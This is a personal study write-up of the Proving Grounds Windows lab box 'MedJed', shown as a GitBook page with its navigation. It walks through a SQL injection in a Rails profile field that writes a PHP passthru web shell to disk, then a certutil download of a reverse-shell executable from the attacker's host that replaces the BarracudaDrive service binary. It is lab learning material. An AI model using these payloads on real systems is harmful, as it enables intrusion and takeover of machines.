Hacker Kayra
  • 📍Introduction Page
  • ⭐Learning Process
    • 🧠Learning Mindset
    • 🖇️Learning Dependencies
    • 🧮Learning Process
  • 🔠Fundamentals
    • 🛜Networking Fundamentals
    • 🐧Linux Fundamentals
    • 🪟Windows Fundamentals
    • 🕵️Active Directory
    • 🕸️Introduction to Web Applications
    • 🗃️Other Useful Concepts
      • Regular Expressions (RegEx)
    • Cyber Security Products
      • Lab Setup
      • ✅Fortigate Firewall
      • MDM Lab
      • IAM Lab
      • PAM Lab
      • DLP Lab
  • 🧰Tools
    • Nmap
    • Nessus
    • Ffuf
    • Hydra
    • John The Ripper
  • ✍️Write Ups
    • 🗃️Hack The Box Machines
      • 🐧Linux
        • Code
    • 🗃️Proving Grounds Boxes
      • 🐧Linux
        • Stapler
        • eLection
        • Loly
        • Blogger
        • Potato
        • Amaterasu
        • Exfiltrated
        • Pelican
        • Astronaut
        • Cockpit
        • Levram
        • Extplorer
        • LaVita
        • pc
        • Scrutiny
        • Zipper
        • Flu
        • Twiggy
        • Codo
        • Crane
        • Hub
        • BlackGate
        • Boolean
        • ClamAV
        • PayDay
        • Snookums
        • Bratarina
        • Nibbles
      • 🪟Windows
        • Algernon
        • AuthBy
        • Craft
        • Kevin
        • Squid
        • Jacko
        • DVR4
        • Hepet
        • Shenzi
        • Nickel
        • Slort
        • MedJed
        • Active Directory
          • Access
          • Vault
    • 🪪Certificates
      • Certified Professional Penetration Tester (eCPPTv3)
      • Web Application Penetration Tester eXtreme (eWPTXv3)
    • 🚩CTF Events
      • Cyber Hub 2025 CTF
  • 📚Study Notes
    • Penetration Tester (HTB CPTS)
      • Penetration Testing Process
      • Reconnaissance, Enumeration & Attack Planning
        • Network Enumeration with Nmap (Continue Here)
        • Footprinting (Just Do Formatting)
        • Vulnerability Scanning (Check)
        • File Transfers
        • Using the Metasploit Framework
        • Web Information Gathering
        • Shells & Payloads
      • Exploitation & Lateral Movement
        • Attacking Common Services (Just Do Formatting)
        • Password Attacks
        • Active Directory Enumeration & Attacks (TBC)
        • Pivoting, Tunneling, and Port Forwarding
      • Web Exploitation
        • Using Web Proxies (Check)
        • Attacking Web Applications With Ffuf (Check)
        • Login Bruteforcing
        • Cross-Site Scripting (XSS)
        • Command Injection
        • SQL Injection
        • File Upload Attacks
        • File Inclusion
        • Web Attacks (Check)
        • Attacking Common Applications (Check)
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation (TBC)
      • Documentation & Reporting
  • 🧑‍💻Other
    • Leet Code
      • Quick Guide: Big-O Notation
      • Problem 01 - Two Sum
    • Data Structure & Algorithms (DSA)
  • 🗄️Archive/Backup/Bin
    • Sysmon Usecases (IBM)
    • 🐧Linux Fundamentals (TryHackMe)
      • Introduction
      • Basic Commands
      • Wildcards & Operators
      • Permissions
      • Common Directories
      • Terminal Text Editors
      • General/Useful Utilities
    • 🪟Windows Fundamentals (TryHackMe)
      • Introduction
      • The File System
      • User Accounts
      • Settings & Control Panel & Task Manager
      • System Configuration
    • Active Directory (TryHackMe)
      • Breaching Active Directory
    • FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics
      • Book 2 - Intrusion Analysis
        • Credential Theft
        • Event Log Analysis for Responders and Hunters
    • Certified Threat Hunting Professional (eCTHPv2)
      • Threat Hunting: Hunting the Endpoint & Endpoint Analysis
        • Event IDs, Logging, & SIEMs
    • OSCP
      • Report Writing
      • ✅Passive Information Gathering
      • ✅Active Information Gathering
      • ✅Vulnerability Scanning
      • Introduction to Web Application Attacks
      • Common Web Application Attacks
        • ✅Cross-Site Scripting (XSS)
        • ✅Directory Traversal
        • ✅File Inclusion
        • ✅File Upload Vulnerabilities
        • Command Injection
        • SQL Injection Attacks
        • Client Side Attacks
      • ✅Locating Public Exploits
      • ✅Exploiting Walkthrough
      • Fixing Exploits
      • ✅Antivirus Evasion
      • Password Attacks
      • Windows Privilege Escalation
      • Linux Privilege Escalation
      • Port Redirection and SSH Tunneling
      • Tunneling Through Deep Packet Inspection
      • The Metasploit Framework
      • Active Directory Introduction & Enumeration
      • Attacking Active Directory Authentication
      • Lateral Movement in Active Directory
      • Assembling the Pieces
      • Other General Information
    • ⚡Port Swigger (Web Penetration Testing)
      • ✅Information Disclosure
      • ✅Path Traversal (Directory Traversal)
      • ✅OS Command Injection
      • Business Logic Vulnerabilities
      • ✅Authentication
      • ✅Access Control
    • Certified Bug Bounty Hunter (CBBH)
      • Web Requests
        • HTTP Fundamentals
    • Getting Started
      • Introduction
      • Pentesting Basics
    • Certified Penetration Testing Specialist (CPTS)
      • Introduction
        • ✅Penetration Testing Process
          • Penetration Testing Overview
          • Laws & Regulations
          • Penetration Testing Process
          • Pre-Engagement
          • Information Gathering
          • Vulnerability Assessment
          • Exploitation
          • Post-Exploitation
          • Lateral Movement
          • Proof-of-Concept
          • Post-Engagement
          • Practice
          • Academy Module Layout
        • Getting Started with Hack The Box (HTB)
      • Reconnaissance, Enumeration & Attack Planning
        • ✅Network Enumeration with Nmap
          • Enumeration & Introduction to Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving The Results
          • Service Enumeration
          • Nmap Scripting Engine
          • Scanning Performance
          • Firewall and IDS/IPS Evasion
        • Footprinting
        • ✅Information Gathering - Web Edition
          • Introduction
          • Passive Information Gathering
          • Active Information Gathering
        • Vulnerability Assessment
        • File Transfers
        • Shells & Payloads
        • Using the Metasploit Framework
      • Exploitation & Lateral Movement
        • Password Attacks
        • Attacking Common Services
        • Pivoting, Tunneling, and Port Forwarding
        • Active Directory Enumeration & Attacks
      • Web Exploitation
        • Using Web Proxies
        • ✅Attacking Web Applications with Ffuf
        • ✅Login Brute Forcing
        • SQL Injection Fundamentals
        • SQLMap Essentials
        • Cross-Site Scripting (XSS)
        • File Inclusion
        • File Upload Attacks
        • Command Injections
        • Web Attacks
        • Attacking Common Applications
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • Reporting & Capstone
        • Documentation & Reporting
        • Attacking Enterprise Networks
    • Old Active Directory
    • Tib3rius Privilege Escalation
      • Linux Privilege Escalation
    • HTB Archived Write-Ups (Check)
      • Irked
      • Nibbles
      • Brainfuck
      • Lame (Check)
    • 📋Cheat Sheets
      • Penetration Testing Cheat Sheet (In Progress)
Powered by GitBook
On this page
  • Enumeration & Reconnaissance
  • Service Analysis
  • Gaining Initial Access
  • Privilege Escalation
  • Lessons Learned
  1. Write Ups
  2. Proving Grounds Boxes
  3. Windows

MedJed

PreviousSlortNextActive Directory

Last updated 2 months ago

Source: Proving Grounds OS: Windows Community Rating: Hard

Enumeration & Reconnaissance

  • I started off with the usual autorecon. The open ports were: 135, 139, 445, 3306, 5040, 8000, 30021, HTTP (33033), 44330, HTTP (45332), HTTP (45443), 49664 -> 49669

Service Analysis

  • I began with port 33033, which displayed a simple web application with a login page. I attempted SQL injection to bypass the login but that didn't work.

  • There was also a forgot password page where the user had to type their username, a reminder (a sort of secret word), and then the new password. I tried SQL injection there as well with no success.

  • The main page featured a list of users so I tried a few basic credential combinations (using the username as the password, etc.), but none of them worked out.

  • One trick I often use in these environments is to deliberately cause an error to see if debugging is on and if information is exposed. For example, I requested a non-existent resource: http://192.168.194.127:33033/aaaThat revealed the fact that the application was built on Rails and even showed a list of endpoints, but nothing more. I was stuck for a bit, so I moved on to the other ports.

  • I checked ports 45332 and 45443 next. They were basic dummy applications with a simple test, but the fuzzers exposed a phpinfo page. That helped me determine the document root for later shell uploads, though nothing else of value was found there.

  • I went back to the first HTTP service (33033) since it had the login and forgot password features, but again, nothing worked. I focused mainly on the user with the cat profile picture because it stands out and because based on the username, it is the "devops" engineer, "jerren.devops".

  • Since I was stuck, I started looking for hints and that's when a note in the team profile came in handy. The cat devops engineer’s profile contained the text: "Only the paranoid survive." It turned out the reminder was simply "paranoid". Funny CTF style. I really hope I don’t end up with such a thing in an OffSec test if I ever take one.

Gaining Initial Access

  • Now that I had the reminder, I changed the user’s password and logged in. There was an edit profile function with a "Request Profile SLUG (experimental)" feature that appeared to run SQL queries. It turned out to be vulnerable to SQL injection.

  • The query looked like: sql = "SELECT username FROM users WHERE username = '" + params[:URL].to_s + "'"

  • Remembering the phpinfo page from the other HTTP service (which revealed the document root), I uploaded a simple web shell using the query:'UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/shell.php'-- '

  • After that, using the shell, I uploaded a reverse shell. Finally, I gained initial access!

Privilege Escalation

  • I began with the usual checks (whoami /priv) and checking the folders.

  • On the C drive, I found an FTP directory, but it contained nothing useful. However, I also discovered an installed application called "bd" (BarracudaDrive).

  • I searched for known exploits for this software and found one with EBD ID: 48789 (no CVE ID). Essentially, it we have access over bd.exe, meaning we could replace it with any executable. In the provided PoC, they created a new user and added that user to the administrator group. I simply uploaded a reverse shell instead.

Note: If using the PoC, you’ll need to add the following to the C code:   #include <stdlib.h>   #include <windows.h>

  • I replaced the bd.exe file with my reverse shell and then restarted the machine using:

move bd.exe bd_old.exe
certutil -urlcache -split -f http://192.168.45.201:901/bd.exe
shutdown -r
  • After starting the listener and waiting for the machine to restart, I got a SYSTEM shell.

Lessons Learned

  • A subtle hint (like a note in a user’s profile) can lead to critical credentials if you think to try it.

  • SQL injection in non-traditional fields, such as profile editing functions, can be a used to get web shells.

  • When a service binary is replaceable (like bd.exe), swapping it with a reverse shell executable is an effective escalation method.

✍️
🗃️
🪟
Password Reset
Endpoints
The dummy test
phpInfo.php
Jerren the Cat
User Edit
Query Result
SQL Query
Webshell
FTP with Nothing
BarracudeDrive
SYSTEM access